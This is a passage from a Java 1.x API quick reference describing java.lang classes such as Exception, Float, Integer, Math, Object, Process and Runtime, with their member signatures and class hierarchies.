Subclasses: java.awt.AWTError, LinkageError, ThreadDeath, VirtualMachineError

Passed To: java.rmi.ServerError.ServerError()

Exception | Java 1.0
java.lang | serializable checked PJ1.1

This class forms the root of the exception hierarchy in Java. An Exception signals an abnormal condition that must be specially handled to prevent program termination. Exceptions may be caught and handled. An exception that is not a subclass of RuntimeException must be declared in the throws clause of any method that can throw it. getMessage() returns a message associated with the exception. See Throwable for other methods.

public class Exception extends Throwable {
// | Public Constructors
 | public Exception ();
 | public Exception (String s);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception

Subclasses: Too many classes to list.

Passed To: Too many methods to list.

Returned By: java.awt.event.InvocationEvent.getException(), java.security.PrivilegedActionException.getException(), javax.ejb.EJBException.getCausedByException(), javax.jms.JMSException.getLinkedException(), org.omg.CORBA.Environment.exception()

Thrown By: java.rmi.server.RemoteCall.executeCall(), java.rmi.server.RemoteRef.invoke(), java.rmi.server.Skeleton.dispatch(), java.security.PrivilegedExceptionAction.run(), javax.naming.spi.NamingManager.getObjectInstance(), javax.naming.spi.ObjectFactory.getObjectInstance()

Type Of: java.io.WriteAbortedException.detail, java.rmi.server.ServerCloneException.detail

ExceptionInInitializerError | Java 1.1
java.lang | serializable error PJ1.1

This error is thrown by the Java Virtual Machine when an exception occurs in the static initializer of a class. You can use the getException() method to obtain the Throwable object that was thrown from the initializer.

public class ExceptionInInitializerError extends LinkageError {
// | Public Constructors
 | public ExceptionInInitializerError (); |
 | public ExceptionInInitializerError (String s); |
 | public ExceptionInInitializerError (Throwable thrown); |
// | Public Instance Methods
 | public Throwable getException (); | default:null
// | Public Methods Overriding Throwable
1.2 | public void printStackTrace (); |
1.2 | public void printStackTrace (java.io.PrintWriter pw); |
1.2 | public void printStackTrace (java.io.PrintStream ps); |
}

Hierarchy: Object-->Throwable(Serializable)-->Error-->LinkageError-->ExceptionInInitializerError

Float | Java 1.0
java.lang | serializable comparable PJ1.1

This class provides an immutable object wrapper around the float primitive data type. valueOf() converts a string to a Float, floatValue() returns the primitive float value of a Float object, and there are methods for returning a Float value as a variety of other primitive types. This class also provides some useful constants and static methods for testing float values. MIN_VALUE and MAX_VALUE are the smallest (closest to zero) and largest representable double values. isInfinite() in class and instance method forms tests whether a float or a Float has an infinite value. Similarly, isNaN() tests whether a float or Float is not-a-number; this is a comparison that cannot be done directly because the NaN constant never tests equal to any other value, including itself. floatToIntBits() and intBitsToFloat() allow you to manipulate the bit representation of a float directly.

public final class Float extends Number implements Comparable {
// | Public Constructors
 | public Float (String s) throws NumberFormatException; |
 | public Float (float value); |
 | public Float (double value); |
// | Public Constants
 | public static final float MAX_VALUE ; | =3.4028235E38
 | public static final float MIN_VALUE ; | =1.4E-45
 | public static final float NaN ; | =NaN
 | public static final float NEGATIVE_INFINITY ; | =-Infinity
 | public static final float POSITIVE_INFINITY ; | =Infinity
1.1 | public static final Class TYPE ; |
// | Public Class Methods
 | public static int floatToIntBits (float value); | native
1.3 | public static int floatToRawIntBits (float value); | native
 | public static float intBitsToFloat (int bits); | native
 | public static boolean isInfinite (float v); |
 | public static boolean isNaN (float v); |
1.2 | public static float parseFloat (String s) throws NumberFormatException; |
 | public static String toString (float f); |
 | public static Float valueOf (String s) throws NumberFormatException; |
// | Public Instance Methods
1.2 | public int compareTo (Float anotherFloat); |
 | public boolean isInfinite (); |
 | public boolean isNaN (); |
// | Methods Implementing Comparable
1.2 | public int compareTo (Object o); |
// | Public Methods Overriding Number
1.1 | public byte byteValue (); |
 | public double doubleValue (); |
 | public float floatValue (); |
 | public int intValue (); |
 | public long longValue (); |
1.1 | public short shortValue (); |
// | Public Methods Overriding Object
 | public boolean equals (Object obj); |
 | public int hashCode (); |
 | public String toString (); |
}

Hierarchy: Object-->Number(Serializable)-->Float(Comparable)

Passed To: Float.compareTo()

Returned By: Float.valueOf()

Type Of: Too many fields to list.

IllegalAccessError | Java 1.0
java.lang | serializable error PJ1.1

Signals an attempted use of a class, method, or field that is not accessible.

public class IllegalAccessError extends IncompatibleClassChangeError {
// | Public Constructors
 | public IllegalAccessError ();
 | public IllegalAccessError (String s);
}

Hierarchy: Object-->Throwable(Serializable)-->Error-->LinkageError-->IncompatibleClassChangeError-->IllegalAccessError

IllegalAccessException | Java 1.0
java.lang | serializable checked PJ1.1

Signals that a class or initializer is not accessible. Thrown by Class.newInstance().

public class IllegalAccessException extends Exception {
// | Public Constructors
 | public IllegalAccessException ();
 | public IllegalAccessException (String s);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->IllegalAccessException

Thrown By: Too many methods to list.

IllegalArgumentException | Java 1.0
java.lang | serializable unchecked PJ1.1

Signals an illegal argument to a method. See subclasses IllegalThreadStateException and NumberFormatException.

public class IllegalArgumentException extends RuntimeException {
// | Public Constructors
 | public IllegalArgumentException ();
 | public IllegalArgumentException (String s);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->RuntimeException-->IllegalArgumentException

Subclasses: IllegalThreadStateException, NumberFormatException, java.security.InvalidParameterException

Thrown By: Too many methods to list.

IllegalMonitorStateException | Java 1.0
java.lang | serializable unchecked PJ1.1

Signals an illegal monitor state. It is thrown by the Objectnotify() and wait() methods used for thread synchronization.

public class IllegalMonitorStateException extends RuntimeException {
// | Public Constructors
 | public IllegalMonitorStateException ();
 | public IllegalMonitorStateException (String s);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->RuntimeException-->IllegalMonitorStateException

IllegalStateException | Java 1.1
java.lang | serializable unchecked PJ1.1

Signals that a method has been invoked on an object that is not in an appropriate state to perform the requested operation.

public class IllegalStateException extends RuntimeException {
// | Public Constructors
 | public IllegalStateException ();
 | public IllegalStateException (String s);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->RuntimeException-->java.lang.IllegalStateException

Subclasses: java.awt.IllegalComponentStateException, java.awt.dnd.InvalidDnDOperationException

Thrown By: Too many methods to list.

IllegalThreadStateException | Java 1.0
java.lang | serializable unchecked PJ1.1

Signals that a thread is not in the appropriate state for an attempted operation to succeed.

public class IllegalThreadStateException extends IllegalArgumentException {
// | Public Constructors
 | public IllegalThreadStateException ();
 | public IllegalThreadStateException (String s);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->RuntimeException-->IllegalArgumentException-->IllegalThreadStateException

IncompatibleClassChangeError | Java 1.0
java.lang | serializable error PJ1.1

This is the superclass of a group of related error types. It signals some kind of illegal use of a legal class.

public class IncompatibleClassChangeError extends LinkageError {
// | Public Constructors
 | public IncompatibleClassChangeError ();
 | public IncompatibleClassChangeError (String s);
}

Hierarchy: Object-->Throwable(Serializable)-->Error-->LinkageError-->IncompatibleClassChangeError

Subclasses: AbstractMethodError, IllegalAccessError, InstantiationError, NoSuchFieldError, NoSuchMethodError

IndexOutOfBoundsException | Java 1.0
java.lang | serializable unchecked PJ1.1

Signals that an index is out of bounds. See the subclasses ArrayIndexOutOfBoundsException and StringIndexOutOfBoundsException.

public class IndexOutOfBoundsException extends RuntimeException {
// | Public Constructors
 | public IndexOutOfBoundsException ();
 | public IndexOutOfBoundsException (String s);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->RuntimeException-->IndexOutOfBoundsException

Subclasses: ArrayIndexOutOfBoundsException, StringIndexOutOfBoundsException

Thrown By: java.awt.Toolkit.createCustomCursor(), java.awt.print.Book.{getPageFormat(), getPrintable(), setPage()}, java.awt.print.Pageable.{getPageFormat(), getPrintable()}

InheritableThreadLocal Java 1.2
java.lang

This class holds a thread-local value that is inherited by child threads. See ThreadLocal for a discussion of thread-local values. Note that the inheritance referred to in the name of this class is not superclass-to-subclass inheritance; instead, it is parent-thread-to-child-thread inheritance.

This class is best understood by example. Suppose that an application has defined an InheritableThreadLocal object and that a certain thread (the parent thread) has a thread-local value stored in that object. Whenever that thread creates a new thread (a child thread), the InheritableThreadLocal object is automatically updated so that the new child thread has the same value associated with it as the parent thread. Note that the value associated with the child thread is independent from the value associated with the parent thread. If the child thread subsequently alters its value by calling the set() method of the InheritableThreadLocal, the value associated with the parent thread does not change.

By default, a child thread inherits a parent's values unmodified. By overriding the childValue() method, however, you can create a subclass of InheritableThreadLocal in which the child thread inherits some arbitrary function of the parent thread's value.

public class InheritableThreadLocal extends ThreadLocal {
// | Public Constructors
 | public InheritableThreadLocal ();
// | Protected Instance Methods
 | protected Object childValue (Object parentValue);
}

Hierarchy: Object-->ThreadLocal-->InheritableThreadLocal

InstantiationError | Java 1.0
java.lang | serializable error PJ1.1

Signals an attempt to instantiate an interface or abstract class.

public class InstantiationError extends IncompatibleClassChangeError {
// | Public Constructors
 | public InstantiationError ();
 | public InstantiationError (String s);
}

Hierarchy: Object-->Throwable(Serializable)-->Error-->LinkageError-->IncompatibleClassChangeError-->InstantiationError

InstantiationException | Java 1.0
java.lang | serializable checked PJ1.1

Signals an attempt to instantiate an interface or an abstract class.

public class InstantiationException extends Exception {
// | Public Constructors
 | public InstantiationException ();
 | public InstantiationException (String s);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->InstantiationException

Thrown By: Class.newInstance(), java.lang.reflect.Constructor.newInstance(), javax.swing.UIManager.setLookAndFeel()

Integer | Java 1.0
java.lang | serializable comparable PJ1.1

This class provides an immutable object wrapper around the int primitive data type. This class also contains useful minimum and maximum constants and useful conversion methods. parseInt() and valueOf() convert a string to an int or to an Integer, respectively. Each can take a radix argument to specify the base the value is represented in. decode() also converts a String to an Integer. It assumes a hexadecimal number if the string begins with "0X" or "0x", or an octal number if the string begins with "0". Otherwise, a decimal number is assumed. toString() converts in the other direction, and the static version takes a radix argument. toBinaryString(), toOctalString(), and toHexString() convert an int to a string using base 2, base 8, and base 16. These methods treat the integer as an unsigned value. Other routines return the value of an Integer as various primitive types, and, finally, the getInteger() methods return the integer value of a named property from the system property list, or the specified default value.

public final class Integer extends Number implements Comparable {
// | Public Constructors
 | public Integer (String s) throws NumberFormatException; |
 | public Integer (int value); |
// | Public Constants
 | public static final int MAX_VALUE ; | =2147483647
 | public static final int MIN_VALUE ; | =-2147483648
1.1 | public static final Class TYPE ; |
// | Public Class Methods
 | public static Integer decode (String nm) throws NumberFormatException; |
 | public static Integer getInteger (String nm); |
 | public static Integer getInteger (String nm, int val); |
 | public static Integer getInteger (String nm, Integer val); |
 | public static int parseInt (String s) throws NumberFormatException; |
 | public static int parseInt (String s, int radix) throws NumberFormatException; |
 | public static String toBinaryString (int i); |
 | public static String toHexString (int i); |
 | public static String toOctalString (int i); |
 | public static String toString (int i); |
 | public static String toString (int i, int radix); |
 | public static Integer valueOf (String s) throws NumberFormatException; |
 | public static Integer valueOf (String s, int radix) throws NumberFormatException; |
// | Public Instance Methods
1.2 | public int compareTo (Integer anotherInteger); |
// | Methods Implementing Comparable
1.2 | public int compareTo (Object o); |
// | Public Methods Overriding Number
1.1 | public byte byteValue (); |
 | public double doubleValue (); |
 | public float floatValue (); |
 | public int intValue (); |
 | public long longValue (); |
1.1 | public short shortValue (); |
// | Public Methods Overriding Object
 | public boolean equals (Object obj); |
 | public int hashCode (); |
 | public String toString (); |
}

Hierarchy: Object-->Number(Serializable)-->Integer(Comparable)

Passed To: Integer.{compareTo(), getInteger()}, javax.swing.JInternalFrame.setLayer()

Returned By: Integer.{decode(), getInteger(), valueOf()}, javax.swing.JLayeredPane.getObjectForLayer()

Type Of: java.awt.font.TextAttribute.{SUPERSCRIPT_SUB, SUPERSCRIPT_SUPER, UNDERLINE_LOW_DASHED, UNDERLINE_LOW_DOTTED, UNDERLINE_LOW_GRAY, UNDERLINE_LOW_ONE_PIXEL, UNDERLINE_LOW_TWO_PIXEL, UNDERLINE_ON}, javax.swing.JLayeredPane.{DEFAULT_LAYER, DRAG_LAYER, FRAME_CONTENT_LAYER, MODAL_LAYER, PALETTE_LAYER, POPUP_LAYER}

InternalError | Java 1.0
java.lang | serializable error PJ1.1

Signals an internal error in the Java interpreter.

public class InternalError extends VirtualMachineError {
// | Public Constructors
 | public InternalError ();
 | public InternalError (String s);
}

Hierarchy: Object-->Throwable(Serializable)-->Error-->VirtualMachineError-->InternalError

InterruptedException | Java 1.0
java.lang | serializable checked PJ1.1

Signals that the thread has been interrupted.

public class InterruptedException extends Exception {
// | Public Constructors
 | public InterruptedException ();
 | public InterruptedException (String s);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->InterruptedException

Thrown By: Too many methods to list.

LinkageError | Java 1.0
java.lang | serializable error PJ1.1

The superclass of a group of errors that signal problems linking a class or resolving dependencies between classes.

public class LinkageError extends Error {
// | Public Constructors
 | public LinkageError ();
 | public LinkageError (String s);
}

Hierarchy: Object-->Throwable(Serializable)-->Error-->LinkageError

Subclasses: ClassCircularityError, ClassFormatError, ExceptionInInitializerError, IncompatibleClassChangeError, NoClassDefFoundError, UnsatisfiedLinkError, VerifyError

Long | Java 1.0
java.lang | serializable comparable PJ1.1

This class provides an immutable object wrapper around the long primitive data type. This class also contains useful minimum and maximum constants and useful conversion methods. parseLong() and valueOf() convert a string to a long or to a Long, respectively. Each can take a radix argument to specify the base the value is represented in. toString() converts in the other direction and may also take a radix argument. toBinaryString(), toOctalString(), and toHexString() convert a long to a string using base 2, base 8, and base 16. These methods treat the long as an unsigned value. Other routines return the value of a Long as various primitive types, and, finally, the getLong() methods return the long value of a named property or the value of the specified default.

public final class Long extends Number implements Comparable {
// | Public Constructors
 | public Long (long value); |
 | public Long (String s) throws NumberFormatException; |
// | Public Constants
 | public static final long MAX_VALUE ; | =9223372036854775807
 | public static final long MIN_VALUE ; | =-9223372036854775808
1.1 | public static final Class TYPE ; |
// | Public Class Methods
1.2 | public static Long decode (String nm) throws NumberFormatException; |
 | public static Long getLong (String nm); |
 | public static Long getLong (String nm, long val); |
 | public static Long getLong (String nm, Long val); |
 | public static long parseLong (String s) throws NumberFormatException; |
 | public static long parseLong (String s, int radix) throws NumberFormatException; |
 | public static String toBinaryString (long i); |
 | public static String toHexString (long i); |
 | public static String toOctalString (long i); |
 | public static String toString (long i); |
 | public static String toString (long i, int radix); |
 | public static Long valueOf (String s) throws NumberFormatException; |
 | public static Long valueOf (String s, int radix) throws NumberFormatException; |
// | Public Instance Methods
1.2 | public int compareTo (Long anotherLong); |
// | Methods Implementing Comparable
1.2 | public int compareTo (Object o); |
// | Public Methods Overriding Number
1.1 | public byte byteValue (); |
 | public double doubleValue (); |
 | public float floatValue (); |
 | public int intValue (); |
 | public long longValue (); |
1.1 | public short shortValue (); |
// | Public Methods Overriding Object
 | public boolean equals (Object obj); |
 | public int hashCode (); |
 | public String toString (); |
}

Hierarchy: Object-->Number(Serializable)-->Long(Comparable)

Passed To: Long.{compareTo(), getLong()}

Returned By: Long.{decode(), getLong(), valueOf()}

Math | Java 1.0
java.lang | PJ1.1

This class defines constants for the mathematical values e and π and defines static methods for floating-point trigonometry, exponentiation, and other operations. It is the equivalent of the C <math.h> functions. It also contains methods for computing minimum and maximum values and for generating pseudo-random numbers.

Most methods of Math operate on float and double floating-point values. Remember that these values are only approximations of actual real numbers. To allow implementations to take full advantage of the floating-point capabilities of a native platform, the methods of Math are not required to return exactly the same values on all platforms. In other words, the results returned by different implementations may differ slightly in the least-significant bits. In Java 1.3, applications that require strict platform-independence of results should use StrictMath instead.

public final class Math {
// | No Constructor
// | Public Constants
 | public static final double E ; | =2.718281828459045
 | public static final double PI ; | =3.141592653589793
// | Public Class Methods
 | public static int abs (int a); | strictfp
 | public static long abs (long a); | strictfp
 | public static float abs (float a); | strictfp
 | public static double abs (double a); | strictfp
 | public static double acos (double a); | strictfp
 | public static double asin (double a); | strictfp
 | public static double atan (double a); | strictfp
 | public static double atan2 (double a, double b); | strictfp
 | public static double ceil (double a); | strictfp
 | public static double cos (double a); | strictfp
 | public static double exp (double a); | strictfp
 | public static double floor (double a); | strictfp
 | public static double IEEEremainder (double f1, double f2); | strictfp
 | public static double log (double a); | strictfp
 | public static int max (int a, int b); | strictfp
 | public static long max (long a, long b); | strictfp
 | public static float max (float a, float b); | strictfp
 | public static double max (double a, double b); | strictfp
 | public static int min (int a, int b); | strictfp
 | public static long min (long a, long b); | strictfp
 | public static float min (float a, float b); | strictfp
 | public static double min (double a, double b); | strictfp
 | public static double pow (double a, double b); | strictfp
 | public static double random (); | strictfp
 | public static double rint (double a); | strictfp
 | public static int round (float a); | strictfp
 | public static long round (double a); | strictfp
 | public static double sin (double a); | strictfp
 | public static double sqrt (double a); | strictfp
 | public static double tan (double a); | strictfp
1.2 | public static double toDegrees (double angrad); | strictfp
1.2 | public static double toRadians (double angdeg); | strictfp
}
NegativeArraySizeException | Java 1.0
java.lang | serializable unchecked PJ1.1

Signals an attempt to allocate an array with fewer than zero elements.

public class NegativeArraySizeException extends RuntimeException {
// | Public Constructors
 | public NegativeArraySizeException ();
 | public NegativeArraySizeException (String s);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->RuntimeException-->NegativeArraySizeException

Thrown By: java.lang.reflect.Array.newInstance()

NoClassDefFoundError | Java 1.0
java.lang | serializable error PJ1.1

Signals that the definition of a specified class cannot be found.

public class NoClassDefFoundError extends LinkageError {
// | Public Constructors
 | public NoClassDefFoundError ();
 | public NoClassDefFoundError (String s);
}

Hierarchy: Object-->Throwable(Serializable)-->Error-->LinkageError-->NoClassDefFoundError

NoSuchFieldError | Java 1.0
java.lang | serializable error PJ1.1

Signals that a specified field cannot be found.

public class NoSuchFieldError extends IncompatibleClassChangeError {
// | Public Constructors
 | public NoSuchFieldError ();
 | public NoSuchFieldError (String s);
}

Hierarchy: Object-->Throwable(Serializable)-->Error-->LinkageError-->IncompatibleClassChangeError-->NoSuchFieldError

NoSuchFieldException | Java 1.1
java.lang | serializable checked PJ1.1

This exception signals that the specified field does not exist in the specified class.

public class NoSuchFieldException extends Exception {
// | Public Constructors
 | public NoSuchFieldException ();
 | public NoSuchFieldException (String s);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->NoSuchFieldException

Thrown By: Class.{getDeclaredField(), getField()}

NoSuchMethodError | Java 1.0
java.lang | serializable error PJ1.1

Signals that a specified method cannot be found.

public class NoSuchMethodError extends IncompatibleClassChangeError {
// | Public Constructors
 | public NoSuchMethodError ();
 | public NoSuchMethodError (String s);
}

Hierarchy: Object-->Throwable(Serializable)-->Error-->LinkageError-->IncompatibleClassChangeError-->NoSuchMethodError

NoSuchMethodException | Java 1.0
java.lang | serializable checked PJ1.1

Signals that the specified method does not exist in the specified class.

public class NoSuchMethodException extends Exception {
// | Public Constructors
 | public NoSuchMethodException ();
 | public NoSuchMethodException (String s);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->NoSuchMethodException

Thrown By: Class.{getConstructor(), getDeclaredConstructor(), getDeclaredMethod(), getMethod()}

NullPointerException | Java 1.0
java.lang | serializable unchecked PJ1.1

Signals an attempt to access a field or invoke a method of a null object.

public class NullPointerException extends RuntimeException {
// | Public Constructors
 | public NullPointerException ();
 | public NullPointerException (String s);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->RuntimeException-->NullPointerException

Thrown By: java.awt.print.PrinterJob.setPageable()

Number | Java 1.0
java.lang | serializable PJ1.1

This is an abstract class that is the superclass of Byte, Short, Integer, Long, Float, and Double. It defines the conversion functions those types implement.

public abstract class Number implements Serializable {
// | Public Constructors
 | public Number ();
// | Public Instance Methods
1.1 | public byte byteValue ();
 | public abstract double doubleValue ();
 | public abstract float floatValue ();
 | public abstract int intValue ();
 | public abstract long longValue ();
1.1 | public short shortValue ();
}

Hierarchy: Object-->Number(Serializable)

Subclasses: Byte, Double, Float, Integer, Long, Short, java.math.BigDecimal, java.math.BigInteger

Passed To: java.awt.Button.AccessibleAWTButton.setCurrentAccessibleValue(), java.awt.Checkbox.AccessibleAWTCheckbox.setCurrentAccessibleValue(), java.awt.CheckboxMenuItem.AccessibleAWTCheckboxMenuItem.setCurrentAccessibleValue(), java.awt.MenuItem.AccessibleAWTMenuItem.setCurrentAccessibleValue(), java.awt.Scrollbar.AccessibleAWTScrollBar.setCurrentAccessibleValue(), javax.accessibility.AccessibleValue.setCurrentAccessibleValue(), javax.swing.AbstractButton.AccessibleAbstractButton.setCurrentAccessibleValue(), javax.swing.JInternalFrame.AccessibleJInternalFrame.setCurrentAccessibleValue(), javax.swing.JInternalFrame.JDesktopIcon.AccessibleJDesktopIcon.setCurrentAccessibleValue(), javax.swing.JProgressBar.AccessibleJProgressBar.setCurrentAccessibleValue(), javax.swing.JScrollBar.AccessibleJScrollBar.setCurrentAccessibleValue(), javax.swing.JSlider.AccessibleJSlider.setCurrentAccessibleValue(), javax.swing.JSplitPane.AccessibleJSplitPane.setCurrentAccessibleValue()

Returned By: Too many methods to list.

NumberFormatException | Java 1.0
java.lang | serializable unchecked PJ1.1

Signals an illegal number format.

public class NumberFormatException extends IllegalArgumentException {
// | Public Constructors
 | public NumberFormatException ();
 | public NumberFormatException (String s);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->RuntimeException-->IllegalArgumentException-->NumberFormatException

Thrown By: Too many methods to list.

Object | Java 1.0
java.lang | PJ1.1

This is the root class in Java. All classes are subclasses of Object, and thus all objects can invoke the public and protected methods of this class. equals() tests whether two objects have the same value (not whether two variables refer to the same object, but whether two distinct objects have byte-for-byte equivalence). For classes that implement the Cloneable interface, clone() makes a byte-for-byte copy of an Object. getClass() returns the Class object associated with any Object, and the notify(), notifyAll(), and wait() methods are used for thread synchronization on a given Object.

A number of these Object methods should be overridden by subclasses of Object. For example, a subclass should provide its own definition of the toString() method so that it can be used with the string concatenation operator and with the PrintWriter.println() methods. Defining the toString() method for all objects also helps with debugging.

A class that contains references to other objects may want to override the equals() and clone() methods (for Cloneable objects) so that it recursively calls the equals() and clone() methods of the objects referred to within the original object. Some classes, particularly those that override equals(), may also want to override the hashCode() method to provide an appropriate hashcode to be used when storing instances in a Hashtable data structure.

A class that allocates system resources other than memory (such as file descriptors or windowing system graphic contexts) should override the finalize() method to release these resources when the object is no longer referred to and is about to be garbage-collected.

public class Object {
// | Public Constructors
 | public Object (); | empty
// | Public Instance Methods
 | public boolean equals (Object obj); |
 | public final Class getClass (); | native
 | public int hashCode (); | native
 | public final void notify (); | native
 | public final void notifyAll (); | native
 | public String toString (); |
 | public final void wait () throws InterruptedException; |
 | public final void wait (long timeout) throws InterruptedException; | native
 | public final void wait (long timeout, int nanos) throws InterruptedException; |
// | Protected Instance Methods
 | protected Object clone () throws CloneNotSupportedException; | native
 | protected void finalize () throws Throwable; | empty
}

Subclasses: Too many classes to list.

Passed To: Too many methods to list.

Returned By: Too many methods to list.

Type Of: Too many fields to list.

OutOfMemoryError | Java 1.0
java.lang | serializable error PJ1.1

Signals that the interpreter has run out of memory (and that garbage collection is unable to free any memory).

public class OutOfMemoryError extends VirtualMachineError {
// | Public Constructors
 | public OutOfMemoryError ();
 | public OutOfMemoryError (String s);
}

Hierarchy: Object-->Throwable(Serializable)-->Error-->VirtualMachineError-->OutOfMemoryError

Package Java 1.2
java.lang

This class represents a Java package. You can obtain the Package object for a given Class by calling the getPackage() method of the Class object. The static Package.getPackage() method returns a Package object for the named package, if any such package has been loaded by the current class loader. Similarly, the static Package.getPackages() returns all Package objects that have been loaded by the current class loader. Note that a Package object is not defined unless at least one class has been loaded from that package. Although you can obtain the Package of a given Class, you cannot obtain an array of Class objects contained in a specified Package.

If the classes that comprise a package are contained in a JAR file that has the appropriate attributes set in its manifest file, the Package object allows you to query the title, vendor, and version of both the package specification and the package implementation; all six values are strings. The specification version string has a special format. It consists of one or more integers, separated from each other by periods. Each integer can have leading zeros, but is not considered an octal digit. Increasing numbers indicate later versions. The isCompatibleWith() method calls getSpecificationVersion() to obtain the specification version and compares it with the version string supplied as an argument. If the package-specification version is the same as or greater than the specified string, isCompatibleWith() returns true. This allows you to test whether the version of a package (typically a standard extension) is new enough for the purposes of your application.

Packages may be sealed, which means that all classes in the package must come from the same JAR file. If a package is sealed, the no-argument version of isSealed() returns true. The one-argument version of isSealed() returns true if the specified URL represents the JAR file from which the package is loaded.

public class Package {
// | No Constructor
// | Public Class Methods
 | public static Package getPackage (String name);
 | public static Package[ ] getPackages ();
// | Property Accessor Methods (by property name)
 | public String getImplementationTitle ();
 | public String getImplementationVendor ();
 | public String getImplementationVersion ();
 | public String getName ();
 | public boolean isSealed ();
 | public boolean isSealed (java.net.URL url);
 | public String getSpecificationTitle ();
 | public String getSpecificationVendor ();
 | public String getSpecificationVersion ();
// | Public Instance Methods
 | public boolean isCompatibleWith (String desired) throws NumberFormatException;
// | Public Methods Overriding Object
 | public int hashCode ();
 | public String toString ();
}

Returned By: Class.getPackage(), ClassLoader.{definePackage(), getPackage(), getPackages()}, Package.{getPackage(), getPackages()}, java.net.URLClassLoader.definePackage()

Process | Java 1.0
java.lang | PJ1.1

This class describes a process that is running externally to the Java interpreter. Note that a Process is very different from a Thread; the Process class is abstract and cannot be instantiated. Call one of the Runtime.exec() methods to start a process and return a corresponding Process object.

waitFor() blocks until the process exits. exitValue() returns the exit code of the process. destroy() kills the process. getErrorStream() returns an InputStream from which you can read any bytes the process sends to its standard error stream. getInputStream() returns an InputStream from which you can read any bytes the process sends to its standard output stream. getOutputStream() returns an OutputStream you can use to send bytes to the standard input stream of the process.

public abstract class Process {
// | Public Constructors
 | public Process ();
// | Property Accessor Methods (by property name)
 | public abstract java.io.InputStream getErrorStream ();
 | public abstract java.io.InputStream getInputStream ();
 | public abstract java.io.OutputStream getOutputStream ();
// | Public Instance Methods
 | public abstract void destroy ();
 | public abstract int exitValue ();
 | public abstract int waitFor () throws InterruptedException;
}

Returned By: Runtime.exec()

Runnable | Java 1.0
java.lang | runnable PJ1.1

This interface specifies the run() method that is required to use with the Thread class. Any class that implements this interface can provide the body of a thread. See Thread for more information.

public interface Runnable {
// | Public Instance Methods
 | public abstract void run ();
}

Implementations: java.awt.image.renderable.RenderableImageProducer, Thread, java.util.TimerTask, javax.jms.Session, javax.swing.text.AsyncBoxView.ChildState

Passed To: java.awt.EventQueue.{invokeAndWait(), invokeLater()}, java.awt.event.InvocationEvent.InvocationEvent(), Thread.Thread(), javax.swing.SwingUtilities.{invokeAndWait(), invokeLater()}, javax.swing.text.AbstractDocument.render(), javax.swing.text.Document.render(), javax.swing.text.LayoutQueue.addTask()

Returned By: javax.swing.text.LayoutQueue.waitForWork()

Type Of: java.awt.event.InvocationEvent.runnable

Runtime | Java 1.0
java.lang | PJ1.1

This class encapsulates a number of platform-dependent system functions. The static method getRuntime() returns the Runtime object for the current platform; this object can perform system functions in a platform-independent way.

exit() causes the Java interpreter to exit and return a specified return code. This method is usually invoked through System.exit(). In Java 1.3, addShutdownHook() registers an unstarted Thread object that is run when the virtual machine shuts down, either through a call to exit() or through a user interrupt (a CTRL-C, for example). The purpose of a shutdown hook is to perform necessary cleanup, such as shutting down network connections, deleting temporary files, and so on. Any number of hooks can be registered with addShutdownHook(). Before the interpreter exits, it starts all registered shutdown-hook threads and lets them run concurrently. Any hooks you write should perform their cleanup operation and exit promptly so they do not delay the shutdown process. To remove a shutdown hook before it is run, call removeShutdownHook(). To force an immediate exit that does not invoke the shutdown hooks, call halt().

exec() starts a new process running externally to the interpreter. Note that any processes run outside of Java may be system-dependent.

freeMemory() returns the approximate amount of free memory. totalMemory() returns the total amount of memory available to the Java interpreter. gc() forces the garbage collector to run synchronously, which may free up more memory. Similarly, runFinalization() forces the finalize() methods of unreferenced objects to be run immediately. This may free up system resources those objects were holding.

load() loads a dynamic library with a fully specified pathname. loadLibrary() loads a dynamic library with only the library name specified; it looks in platform-dependent locations for the specified library. These libraries generally contain native code definitions for native methods.

traceInstructions() and traceMethodCalls() enable and disable tracing by the interpreter. These methods are used for debugging or profiling an application. It is not specified how the VM emits the trace information, and VMs are not even required to support this feature.

Note that some of the Runtime methods are more commonly called via the static methods of the System class.

public class Runtime {
// | No Constructor
// | Public Class Methods
 | public static Runtime getRuntime (); |
// | Public Instance Methods
1.3 | public void addShutdownHook (Thread hook); |
 | public Process exec (String[ ] cmdarray) throws java.io.IOException; |
 | public Process exec (String command) throws java.io.IOException; |
 | public Process exec (String command, String[ ] envp) throws java.io.IOException; |
 | public Process exec (String[ ] cmdarray, String[ ] envp) throws java.io.IOException; |
 | public void exit (int status); |
 | public long freeMemory (); | native
 | public void gc (); | native
1.3 | public void halt (int status); |
 | public void load (String filename); |
 | public void loadLibrary (String libname); |
1.3 | public boolean removeShutdownHook (Thread hook); |
 | public void runFinalization (); |
 | public long totalMemory (); | native
 | public void traceInstructions (boolean on); | native
 | public void traceMethodCalls (boolean on); | native
// | Deprecated Public Methods
# | public java.io.InputStream getLocalizedInputStream (java.io.InputStream in); |
# | public java.io.OutputStream getLocalizedOutputStream (java.io.OutputStream out); |
1.1# | public static void runFinalizersOnExit (boolean value); |
}

Returned By: Runtime.getRuntime()

RuntimeException | Java 1.0
java.lang | serializable unchecked PJ1.1

This exception type is not used directly, but serves as a superclass of a group of run-time exceptions that need not be declared in the throws clause of a method definition. These exceptions need not be declared because they are runtime conditions that can generally occur in any Java method. Thus, declaring them would be unduly burdensome, and Java does not require it.

public class RuntimeException extends Exception {
// | Public Constructors
 | public RuntimeException ();
 | public RuntimeException (String s);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->RuntimeException

Subclasses: Too many classes to list.

RuntimePermission | Java 1.2
java.lang | serializable permission

This class is a java.security.Permission that represents access to various important system facilities. A RuntimePermission has a name, or target, that represents the facility for which permission is being sought or granted. The name "exitVM" represents permission to call System.exit(), and the name "accessClassInPackage.java.lang" represents permission to read classes from the java.lang package. The name of a RuntimePermission may use a ".*" suffix as a wildcard. For example, the name "accessClassInPackage.java.*" represents permission to read classes from any package whose name begins with "java.". RuntimePermission does not use action list strings as some Permission classes do; the name of the permission alone is enough.

